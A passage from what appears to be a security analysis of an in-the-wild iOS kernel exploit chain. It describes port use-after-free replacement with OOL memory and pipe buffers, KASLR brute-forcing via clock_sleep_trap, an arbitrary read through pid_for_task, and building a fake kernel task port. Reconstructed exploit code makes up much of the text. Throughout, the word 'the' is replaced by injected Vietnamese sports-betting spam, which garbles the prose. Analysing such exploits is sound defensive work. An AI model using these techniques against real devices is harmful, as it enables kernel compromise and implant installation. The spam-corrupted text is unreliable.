They now perform cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same operation as before to get a dangling pointer to target_port_2: sending it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365mselves in an out-of-line ports descriptor, triggering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug via IOSurfaceRootUserClient external method 17 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n closing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient and destroying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 surrounding ports (this time cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ports_5 and ports_6 arrays.)

The second time around however cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y use a different replacement object; now cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're trying to replace with out-of-line memory descriptors racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than out-of-line ports.

char replacer_buf[4096] = {0};

do {
  loop_iter = 0;
  for (int nn = 0; nn < 20; nn++) {
    build_replacer_ool_mem_region(replacer_buf,
                                  (loop_iter << 12) + (port_context_tag << 32));
    send_kalloc_reserver(second_ports[loop_iter++],
                         4096,
                         &replacer_buf[24],
                         1024, // 4MB each message
                         1);
  }
  mach_port_get_context(mach_task_self(),
                        second_target_port,
                        &raw_addr_of_second_target_port);
} while(HIDWORD(raw_addr_of_second_target_port) != port_context_tag );


void
build_replacer_ool_mem_region(char* buf,
                              uint64_t context_val)
{
  offset = 0x90; // initial value is offset of ip_context field
  for (int i = 0; i < constant_based_on_memsize; i++) {
    *(uint64_t*)(buf + (offset & 0xfff)) = context_val + (offset & 0xFFF);
    offset += 0xA8; // sizeof(struct ipc_port);
  }
}

They are trying to fill with fake ports in out-of-line memory descriptors; again only focusing on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context field. This time cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y pack three separate values in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake context field:


0-11: offset of this context field in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 replacer page
12-31: loop_iteration (index into second_ports array for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port to which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc_replacer was sent)
32-63: 0x1122 - a magic value to detect whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r this is a replaced port

Each time through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 loop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y make 20480 kalloc.4096 allocations, hoping that one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m replaces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory which previously contained target_port_2. They read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context value of target_port_2 via mach_port_get_context() and check whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 upper 32-bits match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 0x1122 magic value.


From cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context value cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y know to which of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second_ports cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc replacer message which overlaps target_port_2 was sent and from bits 12-31 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y also know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 offset on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 replacer port.

They free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port to which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc replacer was sent, which will also free anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r 1023 kalloc.4096 allocations which didn't overlap.

Yet again cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r window here where a different process on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system could reallocate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target memory buffer, causing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit to crash.

pipes

Now in a loop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y write a 4095 byte buffer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 write ends of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 0x800 pipes which were allocated earlier. The pipe code will make a kalloc.4096 allocation to hold cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe. This may not seem any different to replacing with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach message out-of-line memory buffers, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's a fundamental difference: cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe buffer is mutable. By reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 complete contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe buffer (emptying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n writing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exact same amount of replacement bytes back (refilling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe buffer) it's possible to change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 backing kalloc allocation without it being free'd and reallocated, as would be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case with mach message OOL memory buffers.

You might ask, why not just directly replace with pipes, racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than first OOL memory, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n pipes? The reason is that pipe backing buffers have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir own relatively low allocation size limits (16MB) whereas in-transit OOL memory is only limited by available zone allocator memory. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers refine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir exploit chain in later posts, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y will actually remove cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intermediate OOL step.

They use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same function as before to build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe buffer which will replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port, but use a different tag magic value, and set bits 12-31 to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 index of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe_fd's array:

  replacer_pipe_index = 0;
  for (int i1 = 0; i1 < *n_pipes; i1++) {
    build_replacer_ool_mem_region(replacer_buf,
                                  (i1 << 12) + (port_context_tag << 33));
    write(pipe_fds[2 * i1 + 1], replacer_buf, 0xFFF);
  }

They read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_context value via mach_port_get_context from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second dangling port again and check that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context matches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new pipe replacer context. If it does, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y've now succeeded in creating a fake ipc_port which is backed by a mutable pipe buffer. 

Defeating KASLR via clock_sleep_trap

In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same slide deck where Stefen Esser discusses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OOL ports descriptor technique he also discusses a technique to brute-force KASLR using fake mach ports. This trick was also used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 yalu102 jailbreak.

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code for clock_sleep_trap. This is a mach trap, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach equivalent of a BSD syscall.

/*
 * Sleep on a clock. System trap. User-level libmach clock_sleep
 * interface call takes a mach_timespec_t sleep_time argument which it
 * converts to sleep_sec and sleep_nsec arguments which are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n
 * passed to clock_sleep_trap.
 */
kern_return_t
clock_sleep_trap(
  struct clock_sleep_trap_args *args)
{
  mach_port_name_t clock_name        = args->clock_name;
  sleep_type_t sleep_type            = args->sleep_type;
  int sleep_sec                      = args->sleep_sec;
  int sleep_nsec                     = args->sleep_nsec;
  mach_vm_address_t wakeup_time_addr = args->wakeup_time;  
  clock_t clock;
  mach_timespec_t swtime             = {};
  kern_return_t rvalue;

  /*
   * Convert cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trap parameters.
   */
  if (clock_name == MACH_PORT_NULL)
    clock = &clock_list[SYSTEM_CLOCK];
  else
    clock = port_name_to_clock(clock_name);

  swtime.tv_sec  = sleep_sec;
  swtime.tv_nsec = sleep_nsec;

  /*
   * Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual clock_sleep routine.
   */
  rvalue = clock_sleep_internal(clock, sleep_type, &swtime);

  /*
   * Return current time as wakeup time.
   */
  if (rvalue != KERN_INVALID_ARGUMENT && rvalue != KERN_FAILURE) {
    copyout((char *)&swtime, wakeup_time_addr, sizeof(mach_timespec_t));
  }
  return (rvalue);
}


clock_t
port_name_to_clock(mach_port_name_t clock_name)
{
  clock_t     clock = CLOCK_NULL;
  ipc_space_t space;
  ipc_port_t port;

  if (clock_name == 0)
    return (clock);
  space = current_space();
  if (ipc_port_translate_send(space, clock_name, &port) != KERN_SUCCESS)
    return (clock);
  if (ip_active(port) && (ip_kotype(port) == IKOT_CLOCK))
    clock = (clock_t) port->ip_kobject;
  ip_unlock(port);
  return (clock);
}


static kern_return_t
clock_sleep_internal(clock_t clock,
                     sleep_type_t sleep_type,
                     mach_timespec_t* sleep_time)
{
  ...
  if (clock == CLOCK_NULL)
    return (KERN_INVALID_ARGUMENT);

  if (clock != &clock_list[SYSTEM_CLOCK])
    return (KERN_FAILURE);
  ...


/*
 * List of clock devices.
 */
SECURITY_READ_ONLY_LATE(struct clock) clock_list[] = {

  /* SYSTEM_CLOCK */
  { &sysclk_ops, 0, 0 },

  /* CALENDAR_CLOCK */
  { &calend_ops, 0, 0 }
};

The trick works like this: They pass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake port's name as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clock_name argument to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trap. This name gets passed to port_name_to_clock, which verifies that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 io_bits' KOTYPE field of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 struct ipc_port is IKOT_CLOCK cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n returns cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_kobject field, which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer value at offset +0x68 in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake port. That pointer is passed as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first argument to clock_sleep_internal, where it's compared against &clock_list[SYSTEM_CLOCK]:


  if (clock != &clock_list[SYSTEM_CLOCK])
    return (KERN_FAILURE);

The insight in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trick is two-fold: firstly, that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clock_list array resides in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel DATA segment and has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same KASLR slide applied to it as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel. Secondly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only way that clock_sleep_trap can return KERN_FAILURE is if this comparison fails. All ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r error paths return different error codes.

Putting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two observations togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r it's possible to brute force KASLR. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 versions of iOS targeted by this exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re were only 256 possible KASLR slides. So by creating a fake IKOT_CLOCK port and setting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_kobject field to each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possible addresses of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system clock in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clock_list array in turn cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clock_sleep_trap mach trap and observing whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 return value isn't KERN_FAILURE it's possible to determine which guess was correct.


Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir code which does that:

int current_slide_index = 0;
char buf[0x1000];
while (current_slide_index < 256) {
  // empty cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe
  read(pipe_fds[2 * replacer_pipe_index],
       buf,
       0x1000uLL);

  // build a fake clock port
  memset(buf, 0, 0x1000);
  char* fake_port = &buf[offset_of_second_port_on_page];
  *(uint32_t*)(fake_port+0x00) = 0x80000019;      // IO_ACTIVE | IKOT_CLOCK
  *(uint32_t*)(fake_port+0x08) = 10;              // io_refs
  // ip_kobject
  *(uint64_t*)(fake_port+0x68) = system_clock_kaddr_unslid + (current_slide_index << 21);
  *(uint32_t*)(fake_port+0xa0) = 10;              // msg count
  
  // refill cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe
  write(pipe_bufs[(2 * replacer_pipe_index) + 1],
        buf,
        0xfff);

  if ( !(unsigned int)clock_sleep_trap(second_target_port, 0, 0, 0, 0)) {
    // found it!
    kernel_base = 0xfffffff007004000 + (current_slide_index << 21);
    break;
  }

  current_slide_index++;
}

This same trick and code is used in iOS Exploit Chains 2, 3 and 4.

kernel read and write

In iOS Exploit Chain 1 we were introduced to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port; a port which granted, by design, kernel memory read and write access to anyone who had a send right to it. Using a memory corruption vulnerability cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers were able to gain a send right to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real kernel task port, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365reby very easily gaining cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to modify kernel memory.

In iOS 10.3 a mitigation was introduced intended to prevent cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port from being used by any userspace processes.

In convert_port_to_task, which will be called to convert a task port to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying struct task pointer, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code was added:

  if (task == kernel_task && current_task() != kernel_task) {
    ip_unlock(port);
    return TASK_NULL;
  }

This mitigation is easily bypassed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker. By simply making a copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task structure at a different kernel address cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer comparison against kernel_task will fail and kernel memory read-write access will continue to work.


The prerequisite for this bypass is being able to read enough fields of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real kernel task structure in order to make a fake copy. For this cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pid_for_task trick. I first used this trick after seeing it used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 yalu102 jailbreak; Stefen Esser claims to have been teaching it in his iOS exploitation classes since at least iOS 9.

pid_for_task

The prerequisites for this trick are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to craft a fake ipc_port structure and to be able to put controlled data at a known address. Given those two primitives it yields cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to read a 32-bit value at an arbitrary, controlled address.

The trick is to build a fake task port (KOTYPE=IKOT_TASK) but instead of targeting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fields used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach_vm_read/write methods, target instead cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pid_for_task trap. Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code for that trap circa iOS 10.3:

kern_return_t
pid_for_task(struct pid_for_task_args *args)
{
  mach_port_name_t t = args->t;
  user_addr_t pid_addr  = args->pid;  
  ...
  t1 = port_name_to_task(t);
  ...
  p = get_bsdtask_info(t1);
  if (p) {
    pid  = proc_pid(p);
  ...
  (void) copyout((char *) &pid, pid_addr, sizeof(int));
  ...
}

port_name_to_task will verify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 KOTYPE field is IKOT_TASK cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_kobject field. get_bsdtask_info returns cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bsd_info field of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 struct task:


void  *get_bsdtask_info(task_t t)
{
return(t->bsd_info);
}

and proc_pid returns cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 p_pid field of struct proc:


int
proc_pid(proc_t p)
{
if (p != NULL)
return (p->p_pid);
  ...
}

In all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 versions of iOS supported by this exploit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bsd_info field of struct task was at offset +0x360, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 p_pid field of struct proc was at offset +0x10.

Therefore, by pointing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_kobject field to controlled memory, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n at offset 0x360 from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re writing a pointer which points 0x10 bytes below cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32-bit value you wish to read it's possible to build a fake task port which will return a 32-bit value read from an arbitrary address when passed to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pid_for_task trap.

Diagram showing the structure created inside the pipe buffer to build the arbitrary read primitive. The fake ipc_port has its ip_kobject field set to point back in to the pipe buffer to a fake struct task. At offset +0x360 in that fake struct task there's a pointer to 0x10 bytes below the target read address.


Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir code setting that up:


uint32_t
slow_kread_32(uint64_t kaddr,
              mach_port_name_t dangling_port,
              int *pipe_fds,
              int offset_on_page_to_fake_port,
              uint64_t pipe_buffer_kaddr):

{
  char buf[0x1000] = {0};

  // empty pipe buffer
  read(pipe_fds[0],
       buf,
       0x1000);

  // build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake task struct on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 opposite side of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page
  // to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake port
  if ( offset_on_page_to_fake_port < 1792 )
    offset_on_page_to_fake_task = 2048;

  // build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake task port:
  char* fake_ipc_port = &buf[offset_on_page_to_fake_port];
  *(uint32_t*)(fake_ipc_port+0x00) = 0x80000002; // IO_ACTIVE | IKOT_PORT
  *(uint32_t*)(fake_port+0x08)     = 10; // io_refs
  // ip_kobject
  *(uint64_t*)(fake_port+0x68) = pipe_buffer_kaddr + offset_on_page_to_fake_task;
  
  char* fake_task = &buf[offset_on_page_to_fake_task];
  *((uint32_t*)(fake_task + 0x10)  = 10; // task refs
  *((uint64_t*)(fake_task + 0x360) = kaddr - 0x10; // 0x10 below target kaddr

  // refill pipe buffer
  write(pipe_fds[1],
        buf,
        0xfff);

  pid_t pid = 0;;
  pid_for_task(dangling_port, &pid);
  return (uint32_t)pid;
}

This technique will be used in all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent exploit chains as an initial bootstrap kernel memory read function.

kernel memory write

They first read a 32-bit value at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 base of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel image. They are able to do this because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y determined cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 KASLR slide, so by adding that to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 unslid, hardcoded kernel image load address (0xfffffff007004000) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can determine cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 runtime base address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel image. This read is presumably left over from testing however, as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y don't do anything with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value which is read.

Using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 offsets for this device and kernel version cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel_task in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DATA segment, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire task structure:


  for (int i3 = 0; i3 < 0x180; i3++) {
    val = slow_kread_32(
            kernel_task_address_runtime + 4 * i3,
            second_target_port,
            &pipe_fds[2 * replacer_pipe_index],
            second_dangler_port_offset_on_page,
            page_base_of_second_target_port);
     *(_DWORD *)&fake_kernel_task[4 * i3] = val;
  }

They read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer at +0xe8 in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 task struct, which is itk_sself, a pointer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real kernel task port. They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n read out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole real kernel task port:


  memset(fake_kernel_task_port, 0, 0x100);
  for ( i4 = 0; i4 < 64; ++i4 ) {
    v17 = slow_kread_32(
            kernel_task_port_address_runtime + 4 * i4,
            second_target_port,
            &pipe_fds[2 * replacer_pipe_index],
            second_dangler_port_offset_on_page,
            page_base_of_second_target_port);
    *(_DWORD *)&fake_kernel_task_port[4 * i4] = v17;
  }

They make three changes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port:


  // increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count:
  *(_DWORD *)&fake_kernel_task_port[4] = 0x2000;

  // pointer cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_kobject pointer in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe buffer
  *(_QWORD *)&fake_kernel_task_port[0x68] = page_base_of_second_target_port + offset;

  // increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sorights
  *(_DWORD *)&fake_kernel_task_port[0xA0] = 0x2000;

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n copy that in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer which will be written to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 offset of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling port:


  memset(replacer_page_contents, 0, 0x1000uLL);
  memcpy(&replacer_page_contents[second_dangler_port_offset_on_page],
         fake_kernel_task_port,
         0xA8);

Then, to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 half of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page which doesn't contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y write cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fake kernel task:


  memcpy(&replacer_page_contents[ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r_side_index], fake_kernel_task, 0x600);

Diagram showing the fake ipc_port structure with the object type set to IKOT_TASK and the ipc_object pointer pointing to a copy of the real kernel_task object which the attackers made inside the pipe buffer, enabling them to use the fake port as a fake kernel task port to read and write kernel memory.


They write that back over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port (via cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pipe buffer), creating a fake kernel task port which bypasses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel task port mitigation.

All of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent kernel exploits in this series reuse this technique.

Post exploitation

Having gained kernel memory read/write access, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y proceed as in iOS Exploit Chain 2 by finding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ucred's of launchd in order to unsandbox cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process. Their code has improved a little and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y now restore cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process's original ucreds after spawning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant.

Again cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y first have to patch cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform policy bytecode and add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hash of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 trust cache.

The only major post-exploitation difference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous chain is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y now mark cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device as having been successfully exploited. They check for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mark early during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir kernel exploit and bail out if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit has already run.

